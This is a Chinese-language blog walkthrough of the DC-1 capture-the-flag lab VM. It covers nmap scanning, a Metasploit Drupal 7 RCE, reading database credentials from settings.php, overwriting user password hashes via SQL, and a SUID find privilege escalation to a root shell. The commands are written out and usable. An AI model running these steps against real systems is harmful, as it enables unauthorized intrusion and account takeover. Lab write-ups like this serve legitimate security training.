关于我

DC-1渗透笔记

DC-1渗透笔记

信息搜集

探测IP

nmap扫一下:

nmap -sP 192.168.111.0/24

发现IP为192.168.111.143

image-20240714162839220

端口探测

nmap扫描所有端口的信息:

nmap -sV -p- 192.168.111.143

可以看见开放了:

  • 22端口

  • 80端口

  • 111端口

  • 49525端口

image-20240714164615492

这里80端口和22端口可能比较重要,我先从80端口的web服务入手

网页信息搜集

浏览器访问80端口:

需要登录,没什么头绪,再看看有没有其他利用点

用wappalyzer可以看见cms、语言、中间件、操作系统等基本信息:

  • Drupal 7
  • PHP 5.4.45
  • Apache 2.2.22
  • debian

image-20240714165722492

跑一下目录看看:

dirsearch -u 192.168.111.143

扫到很多目录但是作用不是很大

漏洞利用

首先从cms入手看看有没有历史漏洞,搜索一下还真有个18年的CVE

直接上msf看看有没有现成的脚本:

search Drupal

image-20240714172659056

应该就是18年那个了,use一下,填好参数直接开打:

image-20240714173202094

这就拿shell了,好快

后渗透

获取交互式shell(flag1、flag2)

输入shell即可进入linux的shell,就是有点丑

老规矩,试试用python获取一个pty

python -c 'import pty; pty.spawn("/bin/bash")'

OK了,看来是装了python的:

image-20240714173635145

这里有个flag1.txt,cat一下:

image-20240714173733254

翻译一下:每个好的CMS都需要一个配置文件,你也一样

那这里就是告诉我下一步得去看这个drupal cms的配置文件了

image-20240714174418093

看看有没有settings.php:

image-20240714174547677

还真是,直接cat看看:

image-20240714174720977

这里获得了flag2:暴力破解和字典攻击并不是获取访问权限(而你肯定需要访问权限)的唯一方式。有了这些凭证,你能做什么?

而下面还给出了mysql数据库的账密,很明显下一步要进数据库了

数据库的利用(flag3、flag4)

直接登录mysql:

image-20240714175322797

切换数据库到drupaldb,并看看有哪些表:

image-20240714175516792

有个表叫user很可疑,看看:

image-20240714175739226

这里发现两个账密,但密码不是明文,加密也很奇怪不是常规加密,应该是drupal自己定义的,上网搜一下:

image-20240714180537669

上图的方法二很不错,试试:

先找到脚本路径:

image-20240714180914673

我们将密码改为admin:

php /var/www/scripts/password-hash.sh admin

image-20240714181114595

即可得到加密后的密码hash:

$S$DBPc9i1Q6Cny/HTW4zhwWrwSTaRNndxlAQeqSZAlyebP9MAHBSuu

接下来回到mysql修改admin和fred的密码

update users set pass = "$S$DBPc9i1Q6Cny/HTW4zhwWrwSTaRNndxlAQeqSZAlyebP9MAHBSuu" where name = 'admin' or name = 'Fred';

image-20240714181442604

接下来有了账户密码,我们登录后台看看:

image-20240714181833633

在后台找到了flag3:特殊的权限设置将帮助找到passwd - 但你需要使用-exec命令来破解如何获取shadow文件中的内容

试试,可以查看/etc/passwd,但没有权限查看/etc/shadow

image-20240714182154758

/etc/passwd中有flag4这个用户,还有个路径/home/flag4,去看看有什么

image-20240714182906212

找到flag4:您能使用相同的方法找到或访问根目录中的flag吗?也许可以。但或许并不那么容易。或许也可能是这样?

按照描述,去/root看看:

image-20240714183107125

权限不够,接下来应该就是提权了

权限提升(flag5)

看看有哪些suid权限的文件:

find / -perm -u=s -type f 2>/dev/null

image-20240714183536320

还挺多,其中的find非常醒目啊,直接find提权一手:

find / -name flag4.txt -exec "/bin/sh" \;

image-20240714183727522

ok已经拿下root权限了,接下来去/root看看:

image-20240714183840794

拿到了最终的flag5:

做得好!!!! 
希望你享受了这个过程,并学到了一些新技能。 
你可以通过Twitter联系我,告诉我你对这次小旅程的想法 - @DCAU7

总结

在渗透过程中,我们进行了如下漏洞利用:

  • drupal cms的一个RCE
  • 配置文件泄露mysql账号密码
  • 利用cms的加密脚本和mysql重置cms的管理员密码
  • find提权

Created by Yuy0ung. Powered by GitHub Page.